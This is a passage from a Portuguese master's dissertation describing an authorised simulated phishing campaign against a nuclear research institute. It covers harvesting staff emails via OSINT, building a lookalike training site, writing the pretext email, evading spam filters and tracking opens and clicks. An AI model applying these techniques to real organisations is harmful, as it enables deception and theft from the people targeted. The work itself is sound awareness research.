2.6 TRABALHOS RELACIONADOS

Como ficar4 evidente nesta secdo, questdes de ciberseguranca do setor
nuclear sao consideradas importantes, sendo inclusive classificadas como questdes
de seguranca nacional. A despeito disso, 0 nimero de trabalhos de estudo de casos
de ciberseguranca direcionados ao setor nuclear é baixo, o que reforca a importancia
do tema abordado nesta dissertacao.

Em Greiman (2023), a autora realizou um estudo sobre o progresso da
ciberseguranca na industria nuclear mundial. Sob este prisma, investigou-se, por meio
de uma analise comparativa, 0s recentes regulamentos, normas, regras e padrdes
governamentais para seguranca de ciberseguranca nuclear nos Estados Unidos e
internacionalmente para determinar se essas leis protegem adequadamente a
infraestrutura de energia contra os ataques cibernéticos e responsabilizam as partes
responsaveis. O referido trabalho esta relacionado a pesquisa de literatura desta
dissertacdo de mestrado, que inclui uma breve cobertura dos principais regulamentos
e normas de ciberseguranca relacionadas ao setor nuclear.

Em Almutairi e Alghamdi (2022), verificou-se, através de um questionério, o
nivel de conscientizacdo da engenharia social, considerando diversos grupos
populacionais. Entre os resultados alcancados, destaca-se a indicacdo de que as
pessoas que tém o conhecimento prévio dos métodos de engenharia social tém
melhor conhecimento sobre seguranca da informac&o, e sdo0 menos propensas a
serem vitimas deste tipo de ataque. A presente dissertacado de mestrado se diferencia
deste trabalho, pois efetivamente foram utilizadas as técnicas de engenharia social
para que fosse possivel mensurar a incidéncia de colaboradores suscetiveis a este

tipo de ataque e, ao fim, fornecé-los uma cartilha customizada e direcionada aos
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colaboradores da organizacdo alvo, com o objetivo de promover maior
conscientizacao sobre ciberseguranca e engenharia social.

Em Aslan et al. (2010), os autores se concentraram na realizacdo de um
conjunto de testes de ataques baseados em técnicas de engenharia social
direcionados a Nuclear Malasia. Os experimentos incluiram e-mails, phishing e
paginas web com conteudo malicioso. O objetivo era conscientizar as equipes da
Nuclear Malaysia sobre o funcionamento dos meétodos de engenharia social, bem
como os respectivos métodos de prevencao.

As diferencas entre o trabalho de Aslan et al. (2010) e a presente dissertacao
de mestrado, destaca-se (1) Aslan et al. (2010) considera a suposicdo de que 0s
hackers sabem sobre o cliente de e-mail nuclear da Malasia por meio de informacdes
de funcionarios como colegas préximos, ex-colegas de escritorio, ex-colegas de
escola e assim por diante.

Por outro lado, essa dissertacdo incluiu, na etapa de reconhecimento, a
utilizacéo de ferramentas disponiveis publicamente em fontes abertas de inteligéncia
cibernética para a obtencdo dos enderecos de e-mail dos servidores da organizacdo
alvo. (2) Aslan et al. (2010) ndo englobou etapas posteriores tipicas de um ataque
mais elaborado, como exploracdo e comando & controle, enquanto nesta dissertacao
o faz.

Ja4 em Peterson, Haney e Borrelli (2019), os autores se concentraram em
revisar criticamente incidentes anteriores de vulnerabilidade cibernética em
instalacdes nucleares e outras instalacfes criticas. Adicionalmente, analisou-se o0s
desafios as vulnerabilidades no contexto da modernizacdo da frota nuclear atual e
prop6s-se futuras direcbes de pesquisa necessarias para resolver esses
problemas. O trabalho, portanto, descreve que:

um primeiro esforco nesse caminho de pesquisa que se concentra em
incidentes anteriores de ciberseguranca em instalagbes nucleares para
identificar semelhancas nesses incidentes e considerar como uma

metodologia tradicional de avaliagdo de vulnerabilidade pode ser modificada
ou aprimorada (PETERSON; HANEY; BORRELLI, 2019).

Ao contrario do que foi feito nesta dissertacédo de mestrado, o estudo realizado
por Peterson, Haney e Borrelli (2019) ndo envolveu a realizacdo de testes e
experimentos que utilizassem tanto técnicas amplamente reconhecidas de invasdo de

sistemas quanto estratégias de engenharia social.
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O trabalho desenvolvido em Rowland (2020) teve como objetivo fornecer
evidéncias de que a importancia e a urgéncia da conscientizacdo sobre engenharia
social, como complemento aos treinamentos técnicos em ciberseguranga, sao
frequentemente subestimadas. Também foram fornecidas recomendacdes para a
criacdo de um treinamento para orientar operadores de instalacfes nucleares, com

assisténcia e cooperacao internacional, para prover ciberseguranca eficaz.

Ao comparar o trabalho desenvolvido por Rowland (2020), o presente trabalho
identifica que o estudo de Rowland (2020) estaria mais relacionado a ultima etapa
desta dissertacéo, disponibilizada através do APENDICE A, onde é apresentada uma
cartilha customizada para a conscientizacdo dos colaboradores da organizacdo alvo

do estudo visando mitigar sua suscetibilidade a esta categoria de técnicas de ataque.

No estudo apresentado em S& (2020), o autor realizou uma revisdo da
literatura, baseando-se em ataques de engenharia social para o setor nuclear. Um dos
objetivos verificados no trabalho de S& (2020) foi compreender como a Central
Nuclear Almirante Alvaro Alberto (CNAAA) trata as questdes relacionadas a
seguranca cibernética como meio de mitigar ataques de engenharia social
direcionados aos seus funcionarios. O estudo de S& (2020) tomou como base a
realizacdo de entrevistas com profissionais dos setores nuclear e cibernético,
pesquisa na literatura especializada e consulta a Eletronuclear por meio da Lei de

Acesso a Informagcéo.

Essa dissertacdo apresentou uma perspectiva semelhante ao trabalho de S&a
(2020); no entanto, buscou-se desenvolver uma hipotese de forma pragmatica, ao
realizar um ataque cibernético simulado em um instituto de pesquisa na area nuclear,
utilizando a engenharia social como estratégia inicial, por meio do envio de e-mails de
phishing.

Em seguida, neste trabalho, foram realizados procedimentos para verificar a
resisténcia dos controles tecnologicos, por meio de técnicas de intrusdo e avaliagdo
de vulnerabilidades do ambiente. Um dos propésitos dessa dissertacao € contribuir e
sinalizar com correcoes e protecdes baseados nas melhores praticas aplicadas a
seguranca cibernética no setor nuclear brasileiro, buscando fortalecer ainda mais a

conscientizagéo dos fatores humanos e a protecdo dos sistemas.
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3 IMPLEMENTACAO DO ESTUDO DE CASO

Este capitulo tem por objetivo discorrer sobre a metodologia que foi utilizada
neste trabalho.

O principal norte da metodologia empregada foi a de seguir de forma simulada,
controlada, ética e com as devidas autorizacdes dos gestores da instituicdo, etapas
tipicas de um ataque cibernético direcionado a uma instituicdo de pesquisa da area
nuclear.

Com efeito, como sera detalhado neste capitulo, geram-se resultados que se
dignam a motivar campanhas de conscientizacdo nas instituicdes, colaborando para
a reducao de riscos ligados aos fatores humanos. Este é o caso do uso de técnicas
de engenharia social por meio de e-mails phishing,

Outras etapas efetivamente mais técnicas, como deteccao de vulnerabilidades
em sistemas especificos, geram resultados proveitosos para que a instituicdo possa
tomar acdes de controle, correcdo e/ou contencao de riscos.

Espera-se, dessa forma, contribuir para a melhoria continua dos processos que
envolvem o tema seguranca cibernética das instalac6es do setor nuclear.

Neste trabalho, as etapas de Reconhecimento, Armamento, Entrega e
Exploracéo ilustradas na Figura 6 sao efetivamente executadas.

J& as etapas de Instalacédo, Controle e Comando, e A¢bes no Objetivo sédo
tratadas de maneira demonstrativa em um ambiente controlado e/ou simulado. Isso
visa atingir o objetivo do trabalho com o cuidado da execucdo de experimentos e

ensaios nao destrutivos.

3.1 Etapas do ataque cibernético simulado utilizando o modelo Cyber Kill
Chain

Vale ressaltar que serédo cobertas as 07 (sete) etapas que compdem o modelo
Cyber Kill Chain, evidenciando cada uma das fases em detalhes, de acordo com a

Figura 6.
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Figura 6: Etapas do modelo Cyber Kill Chain
Fonte: Adaptada de Site Medium®

3.1.1 Reconhecimento

Nessa etapa, conhecida também como a fase de information gathering
(coleta de informacd@es), foram reunidos enderecos de e-mail sobre a instituicao alvo.
Para efetivacdo da coleta de informacdes, foram realizadas pesquisas utilizando os
recursos contidos no framework OSINT (Open Source Intelligence). Esse termo
refere-se a coleta e analise de informacdes disponiveis publicamente, obtidas de
fontes abertas, como sites, midias sociais, foruns, blogs, registros publicos e outras
fontes de dados acessiveis ao publico. Além disso, é importante destacar que este é
atualmente um dos frameworks mais conhecidos para pesquisas digitais em fontes
abertas. (OSINT Framework, 2023)

Como apresentado neste trabalho, a utilizacdo de técnicas que envolvem
OSINT, ainda que legitima, foi empregada como forma de obter os e-mails da
organizagéo alvo.

Dessa forma, a coleta de informagdes para reunir uma lista de enderecos de e-
mails foi empregada, por meio do uso de ferramentas de fontes abertas. Esse
procedimento ilustra a acdo de um atacante para efetivar seus objetivos maliciosos.
Por outro lado, serve também para conscientizar e fortalecer as medidas de seguranca

cibernética, ajudando a identificar e mitigar possiveis vulnerabilidades em um sistema.

6 Disponivel em: <https://medium.com/@haircutfish>. Acesso em: 23 jun 2023
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A Figura 7 ilustra a categorizacdo de frameworks da base de dados abertos de

inteligéncia disponibilizado pelo OSINT.

OSINT Framework
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Figura 7: OSINT Framework
Fonte: Site OSINT

Ao acessar o0 site OSINT Framework, disponivel na URL de <
https://osintframework.com/ >, este funciona como uma de &rvore ramificada de
categorias de fontes abertas de informacdes de inteligéncia. E possivel escolher por
uma categoria desejada e clicar até o recurso ou ferramenta desejada.

Com o objetivo de levantar os enderegcos de e-mail dos colaboradores da
organizacédo alvo deste trabalho, foi escolhida a op¢ao “Email Address”, em seguida
“‘Email Search”.

Dentre as opc¢des de bases de enderecos de e-mail disponiveis, a que retornou
maior quantidade de enderecos, considerando o dominio de Internet da organizagao
alvo, foi a opg¢ao “Skymem?”, conforme ilustrado na Figura 8. Ao clicar em “Find email
addresses”, apds o preenchimento do dominio, sera apresentada a listagem dos

enderecos e-mails disponiveis.

7 Disponivel em: <https://osintframework.com/>. Acesso em: 15 mai 2023
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f + Create email list [ Email Lists Q

Find email addresses of companies and people

,gov.bﬂ Q Find email addresses

Figura 8: Encontrar e-mail de companhias e pessoas
Fonte: Site Skymem?®

Nessa fase da pesquisa, utilizou-se como referéncia um dominio “GOV.BR”
de um instituto de pesquisa. Por meio de técnicas e buscas avancadas na Web
(utilizando OSINT e Google Dorks), foi possivel obter e-mails pertencentes a
funcionéarios do quadro daquele instituto e de setores relacionados. Cabe ressaltar
gue o fato de e-mails estarem disponiveis na internet ndo representa um ameaca. No
entanto, em alguns casos muitos e-mails de empresas, 6rgdo publicos e instituicdes
podem ter sido vazados em algum incidente passado. De qualquer forma, sites como
LinkedIn, Plataforma Lattes, pagina de instituicdes, artigos cientificos, dentre outros,
permitem visualizar informacdes de contato e locais de trabalho, o que pode ser
utilizado para realizacéo de ataques de phishing direcionados, apés as coletas dessas

informacgoes.
3.1.2 Armamento

Nessa etapa, foram utilizados e implementados recursos tecnolégicos para sustentar
os testes de validacéo e realizar os ataques simulados propriamente ditos, ou seja,

foram criados os artefatos metodolégicos.
Artefatos utilizados para testes preliminares

A Tabela 6 apresenta ferramentas e agdes que fizeram parte de uma etapa

exploratoria preliminar que, embora nao tenham efetivamente sido usadas na etapa

8 Disponivel em: < http://www.skymem.info/>. Acesso em: 15 mai 2023
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de entrega, descrita na Secéo 3.1.3 Entrega, foram importantes para os aprendizados

gue serdo descritos nessa secao.

Tabela 6: A¢bes experimentais exploratérias realizadas no inicio da etapa de armamento

Ferramentas usadas: Registro BR, Google Gmail, Amazon
AWS, Canva, GoPhish

Status na pesquisa:

Descrigcdo das agdes realizadas:

a) Criacho de um dominio no Registro BR
(@educanuclear.com.br)

b) Criacdo de um e-mail no Gmail (educanuclear@gmail.com)
c) Criacdo de uma conta de acesso nha Amazon AWS para
utilizacao de servicos em nuvem;

d) Implementacdo de uma instancia EC2 Linux na nuvem da
Amazon AWS

e) Instalacdo e configuracdo do servico HTTP Apache na
instancia Linux

f) Desenvolvimento de péaginas Web para integracdo ao
servidor Linux

g) Criacdo de um site (<http://www.educanuclear.com.br>) que
corrobora a historia de cobertura contada pelo e-mail phishing
enviado na etapa de entrega.

h) Instalacdo do servico GoPhish na nuvem para criagcdo de

campanhas de teste de phishing.

Funcionou?
( )SIM (X)NAO

Foi aproveitado para
a proxima etapa?
()SIM (X)NAO

Essas ag0es experimentais acabaram ndo sendo efetivamente empregadas na

etapa de entrega, pois:

e ao implementar a ferramenta GoPhish no servidor Linux hospedado na

Amazon AWS, ndo foram obtidos resultados satisfatorios que pudessem

garantir a eficacia e a entrega dos e-mails aos integrantes daquele instituto.

Isso ocorreu, pois a ferramenta ndo notificava corretamente a leitura e

abertura dos e-mails enviados. Essa informacdo é imprescindivel para o

sucesso da etapa de entrega,

e 0s servidores de e-mail do Google e Microsoft acusaram a possibilidade de

atividade maliciosa em mensagens que contivessem links apontando para
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<http://www.educanuclear.com.br> no corpo do e-mail, ou seja, o dominio
educanuclear.com.br foi categorizado pelo Gmail e Outlook como suspeito
e perigoso (phishing), o que representou um impasse para a continuacao dos
testes com esse dominio. Isso comprometeria todo esforco inicial realizado,
consequentemente, todo o estudo de caso da pesquisa, caso essa etapa
importante falhasse, se a entrega dos e-mails ndo chegasse aos seus

destinatarios.

Portanto, foi necessario adquirir um novo dominio, educanuclear.com, e tomar

as devidas precaucdes para evitar problemas semelhantes.

Evitou-se realizar envios para enderecos invalidos ou inativos;

A lista de e-mails foi segmentada em listas menores;

Evitou-se utilizar palavras e frases comuns em spam,;

N&o foram realizados testes de clonagem de sites legitimos com o novo
dominio adquirido;

Foram realizados testes antes do envio, certificando-se que os e-mails

estavam sendo entregues corretamente.

Artefatos utilizados na etapa de entrega

Com as licdes aprendidas, elaborou-se um novo conjunto de ferramentas e nova

sequéncia de acles para esta etapa, conforme ilustrado na Tabela 7. Essas foram

efetivamente utilizadas na etapa descrita na Secéo 3.1.3 Entrega .

Tabela 7: A¢bes efetivamente aproveitadas para a etapa de entrega

Ferramentas usadas: Google Domains, Hostgator, E-mail | Status na
Titan, Microsoft Forms pesquisa:
Descricao das atividades: Funcionou?

a) Criagdo de um dominio no Google Domains | (X)SIM( )NAO
(educanuclear.com)
b) Aquisicéo de hospedagem de sites na empresa Hostgator

c¢) Aquisicéo do plano de e-mails profissional Titan Hostgator
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d) Criacao, configuracdo e hospedagem de um Website no | Foi aproveitado
provedor Hostgator para a proxima
e) Criacdo de e-mails profissionais com o padréo | etapa?
nome@educanuclear.com (X)SIM( )NAO
f) Configuracdes internas de parametros e logs na estrutura
da aplicacdo hospedada

g) Configuracdes dos textos, links e parametros de
verificacbes nos e-mails

h) Criacéo e configuracdo de um formulario de inscricdo de

treinamento

A seguir sdo descritos em detalhes os aparatos tecnoldgicos criados para viabilizar as

acOes da Tabela 7.

Modelo de e-mail corporativo

Os e-mails utilizados no teste de phishing foram coletados através do processo
de OSINT em plataformas publicas, simulando o processo que um hacker ou grupo
criminoso teria que realizar. Em seguida foram salvos arquivos de texto para posterior
utilizacdo. A lista de e-mail (Quadro 1) foi dividida com a finalidade de segmentar o

envio. Os e-mails foram encaminhados através dos enderecos:

capacitacao@educanuclear.com ensino@educanuclear.com

inscricao@educanuclear.com treinamento@educanuclear.com

Quadro 1: E-mails utilizados como endereco de remetente para 0s experimentos

A Figura 9 ilustra o conteudo da mensagem de teste de phishing enviada aos

funcionarios do instituto de pesquisa alvo.
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Programa de Capacitacao - IEN 2023

me 223 @R © U &

Para:c__...__ _ e ey ey ey e ey — . bT, AN 25 MoOTE

Caro(a) Servidor(a)

Encontra-se disponivel o Programa de Capacitacio Nuclear 2023 no Instituto de Engenharia Nuclear.

Esse novo programa visa qualificar os colaboradores na area nuclear e tecnolégica. Serdo oferecidos treinamentos
essenciais e necessarios para melhoria da cultura organizacional.

Nesse projeto firmou uma parceria com a nossa equipe de capacitagido da EducaNuclear - Educacio
Cibernética para Area Nuclear com objetivo de qualificar seu quadro de funcionarios quanto a questdes de
seguranca cibernética.

Aproveite e acesse o Portal de Capacitaciao da EducaNuclear para realizar a sua inscrigdo gratuita em um dos

treinamentos oferecidos.

Nio perca essa oportunidade
Até breve!

Renata Marques - Gerente de Carreiras

Departamento de Treinamentos e Capacitacoes

& @& <9 [screver uma resposta...

Figura 9: Mensagem contida nos e-mails enviados
Fonte: O autor (2023)

Foram habilitados nos 04 (quatro) enderecos de e-mail um recurso que
possibilita obter as métricas referentes a abertura de e-mail. Esse campo permite
analisar essas informacdes. Ele é identificado por um simbolo verde e acompanha um
namero ao lado entre parénteses indicando a quantidade de pessoas que abriram o
e-mail com os respectivos horarios de cada abertura. Por questBes de privacidade,
todas as referéncias que possam identificar pessoas foram suprimidas, tendo em vista
que o objetivo deste trabalho é proteger a privacidade e os dados pessoais. Com
relacdo ao nome que consta na assinatura de e-mail, este foi criado de forma ficticia,

nao se tratando, portanto, de pessoa real vinculada ao contexto do referido trabalho.
Website EducaNuclear: um portal ficticio para treinamentos

A pagina principal do website (Figura 10), quando acessada pelo link fornecido
no e-mail, era direcionada para URL <https://educanuclear.com/***/index.html>. No
entanto, uma pagina idéntica também estava disponivel ao acessar a URL

<https://educanuclear.com>. Isso significa que a pagina principal foi clonada para um
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diretorio especifico com objetivo de quantificar apenas 0s acessos provenientes da
campanha de phishing realizada. Todos esses procedimentos eram registrados nos

logs do servico HTTP a cada clique.

5] Nuclea x @ x|+ . - x 5
¢ C @ educanuclear.comyien/indexhim B » % 0 lg g
EducaNuclear

Treinamentos Home Contate-nos

Agendzl do Programa de Capacitagio Nuclear do [EN
PCN IEN

20 Semestre /2023

Seguranga Cibernética para Instalagoes
g § §
Nucleares

Inicio: 05 Julho 2023
Modalidade EAD
Carga horaria: 40h

Inscreva-se

Figura 10: Website Educanuclear - pagina de treinamentos
Fonte: O autor (2023)

O site Educanuclear possui outras duas abas acessiveis, sendo as paginas Home e

Contate-nos, conforme Figura 11 e Figura 12.

C @ educanuclear.com/home 2

Treinamentos Home Contate-nos

Conheca nossas solugoes em
Consultorias e Treinamentos
Nosso time'é composto por professores e colaboradores com

vasta experiéncia tedrica e pratica, oferecendo conteidos de
altissima qualidade:

"0 fator humano na seguranga corporativa: o elo mais fraco da
corrente!”

Treinamentos Home  Contate-nos

Figura 11: Pagina Home do site Educanuclear
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Fonte: O autor (2023)
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Treinamentos Home Contate-nos

Endereco Quem somos

R. Aloisio Teixeira, 278 - Cidade Universitaria da UFR). Educagdo Cibernética para Area Nuclear
Rio de Janeiro, 21941-850, BR

capacitacao@educanuclear.com

Figura 12: P4agina Contate-nos do site Educanuclear
Fonte: O autor (2023)

Um portfélio ilustrativo foi incorporado ao site Educanuclear. Utilizou-se um
modelo pré-existente disponivel no Canva e foram adicionadas informacdes extras

conforme mostrado na Figura 13.

@ femvindoa x  + v - o X

m/portfolio.pdf Q% & »0%®:

Importante!!!

QUEM sSOmMoOS

Esta pagina foi desenvolvida com a
finalidade exclusivamente académica,
com objetivo de atender um projeto
de pesquisa de mestrado.

Criada por Eduardo Andrade de Jesus,
aluno do curso de mestrado do
Instituto de Engenharia Nuclear.

Essa pesquisa consiste em analisar o
quanto o ser humano é vulneravel a
ataques de Engenharia Social por
\\ meio de Phishing.
\ Caso vocé esteja lendo essa

mensagem, considere reforgar os seus

conhecimentos a cerca do tema
através da Cartilha de Seguranca da
Informacao disponivel no site do Cert
BR.

Atenciosamente,

Figura 13: Mensagem contida no arquivo portfélio.pdf
Fonte: O autor (2023)
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Formulario de inscricdo no Programa de Capacitacao Nuclear

A medida que os e-mails foram enviados como parte dos testes da campanha
de phishing, era esperado que os colaboradores clicassem nos links fornecidos no
corpo do e-mail, como exemplificado anteriormente. E importante destacar que abrir
um e-mail e ler seu contetdo n&o representa uma ameaca ou vulnerabilidade, pois 0
assunto pode ser relevante para os funcionarios do instituto de pesquisa. No entanto,
existem técnicas para identificar previamente quais e-mails podem representar
ameacas e explorar vulnerabilidades se as acdes forem executadas, ou seja,
identificar um ataque de phishing (SALAHDINE, 2019).

Supondo que apds o envio dos e-mails uma pessoa demostrasse interessada em
realizar um dos treinamentos oferecidos, teriamos entao duas possibilidades:
a) A pessoa poderia preencher o formulario com a indicacdo do treinamento
desejado, ou;
b) Poderia responder diretamente o e-mail indicando o interesse em realizar

algum treinamento.

Caso a pessoa opte por realizar a inscricdo do treinamento através do formulario, sera

aberto uma péagina contendo as informagfes, conforme Figura 14.

@ Portugués (Brasil)

Oy

Inscricdo no Programa de Ca-
- pacitacao Nuclear- i
““PCN 2023 &

Inicio em 05 de julho de 2023.

Pesquisa de mestrado: Seguranca Cibernética em Instalagdes Nudeares

Iniciar agora

Figura 14: Formulério de inscrigéo
Fonte: O autor (2023)
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Ao iniciar o preenchimento do formulario, serd apresentada uma lista de cursos
disponiveis para a inscricdo, conforme mostrado na Figura 15. Optou-se por
disponibilizar apenas um treinamento no formulario e ndo solicitar nenhuma

informagé&o pessoal durante o processo de preenchimento da inscri¢ao.

@ Portugués (Brasil)

Inscricao no Programa de Capacitacao Nuclear-
PCN 2023

* Obrigatéria

1. Escolha o treinamento que vocé deseja se inscrever *

(j) Seguranca Cibernética para Instalagdes Nucleares

2. Muito obrigado por realizar a sua inscricao em um dos nossos treinamentos.
Caso queira sugerir novos treinamentos, deixe a sua sugestao no espaco abaixo:

Insira sua resposta

E possivel imprimir uma cépia da resposta depois de envia-la

Enviar

Figura 15: Pagina de preenchimento do formulario de inscri¢cdo
Fonte: O autor (2023)

Apos finalizar o preenchimento do formulario, a pessoa € prontamente
notificada com a mensagem representada na Figura 16. Essa abordagem transmite a

sensacdo da pessoa estar se inscrevendo em um curso legitimo.
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i-FowaNudesr X @ Inscrigic no Progiama de Capat X v

& forms.office.com/pages/respo

@ Pportuguds (Brasil)

Inscricdo no Programa de Capacitacdo Nuclear-
PCN 2023

() Obrigado!

Obrigado por realizar a sua inscricao!

Em breve vocé recebera um e-mail contendo as informagdes para inicio do curso.

Imprimir ou obter o PDF das respostas

Enviar oulra resposta

Criar mey proprio formulanio

Da plataforma Micrasoft Forms |
0O praprietario deste formuldrio néo fomeceu uma politica de privacidade sobre como usara seus dados de respasta. Nao fomeca
informagdes pessoais ou confidenciais,

Figura 16: Pagina de conclusdo do preenchimento do formulario
Fonte: O autor (2023)

Aplicacéo do teste de phishing em uma organizacéo do setor nuclear

A aplicagéo do teste de phishing baseou-se no envio dos e-mails customizados

para uma lista de funcionéarios da instituicao alvo.

Monitoramento dos e-mails enviados e abertos

Um pixel de rastreamento de abertura de e-mail € uma técnica utilizada para
monitorar se um e-mail foi aberto e visualizado pelo destinatario. Consiste em um
pequeno elemento grafico (geralmente um pixel transparente) incorporado no
conteudo do e-mail. Ao ser carregado, o pixel envia uma solicitagéo para um servidor
externo, que registra a atividade de abertura do e-mail. Essa técnica envolve a
inclusdo de um codigo HTML que aponta para a imagem remota, disponivel no
servidor do atacante. Quando a imagem/pixel é carregado, o servidor do atacante
registra a solicitacdo de envio da imagem, e registra atividade, indicando que um dos
e-mails enviados e-mail foi lido.

Alguns atacantes podem utilizar em suas atividades estratégias que sao

comumente utilizadas por servicos de marketing para monitorar a abertura e a
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visualizacéo de e-mails. Segundo (RAMZAN, 2010) essa técnica permite ao remetente
coletar informacdes sobre a abertura do e-mail, o endereco IP do destinatario, o tipo
de dispositivo ou cliente de e-mail utilizado e a data e hora em que o e-mail foi aberto.
Com esses dados em méao, é possivel aos cibercriminosos realizarem outros tipos de
ataques mais sofisticados e direcionados.

Embora ndo existam técnicas especificas para protecdo direta contra esses
rastreamentos de abertura e-mail, podem ser adotadas medidas para minimizar seu
impacto e proteger a privacidade (FAN,2017):

a) Bloguear o carregamento automatico de imagens

b) Utilizar extensdes de privacidade

c) Verificar configuragdes de privacidade do seu cliente de e-mail
d) Optar por servicos de e-mail que respeitam a privacidade

e) Manter sempre os softwares atualizados

Andlise do setor nuclear através da revisao bibliografica

Ao analisar o contexto do setor nuclear, ficou evidente que para um maior
convencimento de um publico interno por e-mail, seria necessario criar argumentos
fortes que levem a crer na veracidade das informagdes entregues por e-mail. Tal
estruturacdo foi consolidada através da criagdo de nomes de dominios reais
(educanuclear.com), criacdo de sites e hospedagem em provedor reconhecido no
mercado, utilizacdo de péaginas providas por meio de certificado digital valido (HTTPS)

e criacdo de e-mails profissionais utilizando o dominio real.

Dessa forma, uma histéria de cobertura envolvendo a criagdo de um “Programa
de Capacitacao Nuclear — 2023” com o mesmo teor no campo assunto, bem como a
elaboracdo de um texto simples e convincente no corpo do e-mail seria a forma de

mais viavel para as pessoas que receberem o e-mail, abram e leiam!

Configuracdo de parametros na pagina do website Educanuclear

A pégina (/***/index.html) foi criada como solugdo de contorno no interior da
estrutura de diretorios da pagina principal (/public_html). Desse modo, a pagina
principal retorna uma pagina em branco durante a campanha. Com iSso, 0S acessos

realizados atraves dos links disponibilizados no corpo do e-mail puderam ser medidos,
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validados e rastreados por meio da origem dos acessos, sem que houvesse falsos

positivos que pudessem interferir nas coletas de informacao.

Os links de acesso foram modificados de tal forma que a pessoa que abrisse 0
e-mail teria o registro de evidéncia individualizado para cada conexao de acesso ao
site e gravado no arquivo de log do servidor web apache. Finalmente, ap0s o envio
dos e-mails, o acesso inicial ao site EducaNuclear deu-se através do link contido no
corpo da mensagem do e-mail. Esses dois links foram ofuscados para
"https://www.educanuclear.com/***/index.html", em que cada acesso era registrado
como uma conexao estabelecida, conforme indicado na tabela dos principais cédigos

de status de resposta HTTP, de acordo com a RFC 2616.

A Tabela 8: Status code do protocolo HTTP ilustra alguns dos cédigos de status
HTTP mais comuns. Existem outros codigos disponiveis na secdo Status Code
Definitions da RFC 2616. Cada cddigo possui uma finalidade e significado. Esses
codigos de status sdo retornados pelos servidores web para fornecer informacées

sobre o resultado de uma requisicdo HTTP por um cliente.

Tabela 8: Status code do protocolo HTTP

Cdédigo Descricédo

200 OK - Requisicdo bem-sucedida

201 Criado - Requisicdo bem-sucedida, recurso criado

204 Sem Conteudo - Requisicdo bem-sucedida, sem retorno
301 Movido Permanentemente - Recurso movido

400 Solicitacado Invalida - Erro no cliente

401 N&o Autorizado - Acesso nédo autorizado

403 Proibido - Acesso proibido

404 N&o Encontrado - Recurso n&o encontrado

500 Erro Interno do Servidor - Erro no servidor

502 Bad Gateway - Servidor recebeu resposta invalida

503 Servigo Indisponivel - Servidor temporariamente indisponivel

As acOes descritas nesta secdo foram submetidas a testes e experimentacao,

resultando em uma concluséo bem-sucedida, como sera descrito a seguir.
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Os testes preliminares foram realizados por meio do envio de e-mail para a
caixa de correio funcional de um funcionario da instituicdo alvo, que estava apoiando
o0 projeto de pesquisa. Esses testes foram conduzidos durante o periodo que
antecedeu o envio efetivo. Apds cada envio realizado durante os testes preliminares,
0s registros de acesso no servidor eram verificados para confirmar se o usuario
recebeu, abriu 0 e-mail e clicou no link especificado.

Também foi realizado um teste de preenchimento do formulario de inscri¢cao
para verificar se estava tudo correto. Durante a realizacdo desses procedimentos,
foram feitos ajustes para garantir que o envio dos e-mails pudesse ser realizado sem
o risco de serem bloqueados, como otimizar o conteudo, verificar a formatacéo correta
e evitar palavras ou anexos que pudessem ser identificados como suspeitos pelo
sistema de seguranca.

3.1.3 Entrega

Nesta sec¢do, iremos analisar como foram desencadeados os procedimentos dos

envios dos e-mails phishing que foram realizados como parte desta pesquisa.

Baseando-se nas ferramentas e acdes elencadas na Tabela 7, e descritas na
secdo anterior, optou-se por dividir o envio dos 159 e-mails phishing aos
colaboradores da organizacdo alvo em quatro grupos de 40 enderecos de destino
cada um. Isso foi importante, pois como parte dos enderecos obtidos na etapa de
reconhecimento poderiam ser invalidos ou desativados, corria-se o risco, no caso de
apenas um grupo de envio, de que o provedor, devido a um potencial alto nimero de
retornos de erro, classificar o endereco do remetente como um endereco suspeito, 0

gue inviabilizaria a entrega.

A primeira sequéncia de envio de e-mails ocorreu no dia 06 de junho de 2023, as
12:00h (GMT-3) - horario de Brasilia, Brasil. Respeitando um intervalo de tempo de

dezenas de minutos, seguiu-se, sequencialmente, com 0s outros trés envios.

Os resultados alcancados nesta etapa sao apresentados na Secdo 4. RESULTADOS
E DISCUSSOES.
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Para executar a etapa de entrega, foi utilizado um gerenciador de e-mails profissional
fornecido pela HostGator (Titan Mail), que permitiu o gerenciamento das quatro contas

de e-mail criadas para realizar o ataque simulado, conforme ilustrado na Figura 17.

<« C o O f & nitps//titanhostgator.com.br/ma 2% 1Y L m B

- ¥ HostGator Pesquisar em capacitacao@educanucle: ® C £ Auda %;'ZA“‘N

> (€ capacitacao@educanuclear... Enviado Todoso.. ~ @ Excluir ¢ Favoritar N Marcar como ndo lido @ Imprimir conversa

(2)

> . inscricao@educanuclear.com

Programa de Capacitagao - 2023

Programa de Capacitagéo - [EN 2023

> (T treinamento@educanuclear... - e
= © (Caro(a) Servidor(a) dc Encontra-se disponivel o ...

me

> . ensino@educanuclear.com N

[[] gdjaime, eduardo.andradej, gdgjaime ]

0. pilenrerans M7 Programa de Capacitagdo - IEN 2023 Caro(a) Servidor(a)do (3)
© Caro(a) Servidor(a) - Encontra-se disponivel 0 ...

Encontra-se disponivel o Programa de Capacitacio Nuclear 2023 no Instituto de
Engenharia Nuclear.
Esse novo programa visa qualificar os colaboradores na area nuclear e tecnoldgica. Serdo
oferecidos treinamentos essenciais e necessarios para melhoria da cultura organizacional.

Nesse projeto, o firmou uma parceria com a nossa equipe de capacitacio da
EducaNuclear - Educagio Cibernética para Area Nuclear com objetivo de qualificar seu
quadro de funciondrjes.quanioa.quesidecd ibarnética.

Aproveite e acesse ¢ Portal de Capacitacio da [[lucn,\'uclf*r para realizar a sua inscri¢ao
gratuita em um dos fee z

Nio perca essa oportinidade (4)
Até breve!

Renata Marques - Gerente de Carreiras
& Ero @ Recurso A Departamento de Treinamentos e Capacita¢des

Figura 17: Gerenciador de e-mails Titan Webmail
Fonte: O autor (2023)

Referéncia numérica contida na imagem:

1) Contas de e-mails gerenciadas

2) Confirmacéo de leitura do e-mail pelo destinatario

3 e 4) Links ofuscados redirecionando para URL
<https://www.educanuclear.com/***/index.html> com objetivo
especifico de identificar e registrar, de forma inequivoca nos logs, 0s acessos ao site

“‘isca” que foram provenientes dos e-mails enviados.

Rastreamento de e-mails devolvidos com algum tipo de erro

Durante o envio, e-mails com erros ortograficos ou inexistentes nao foram
entregues ao servidor de destino e uma mensagem de erro foi retornada. Essa
situacdo ocorreu em algumas ocasifes devido a lista de e-mails de destino néo ter
sido obtida oficialmente na instituicdo de pesquisa em questéo. Isso foi intencional,

pois parte do escopo da pesquisa era demonstrar como 0s invasores podem obter e-
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mails de instituicdes ou organizacdes. E importante destacar que essas listas nem
sempre possuem todos os enderecos validos, como foi evidenciado durante o envio

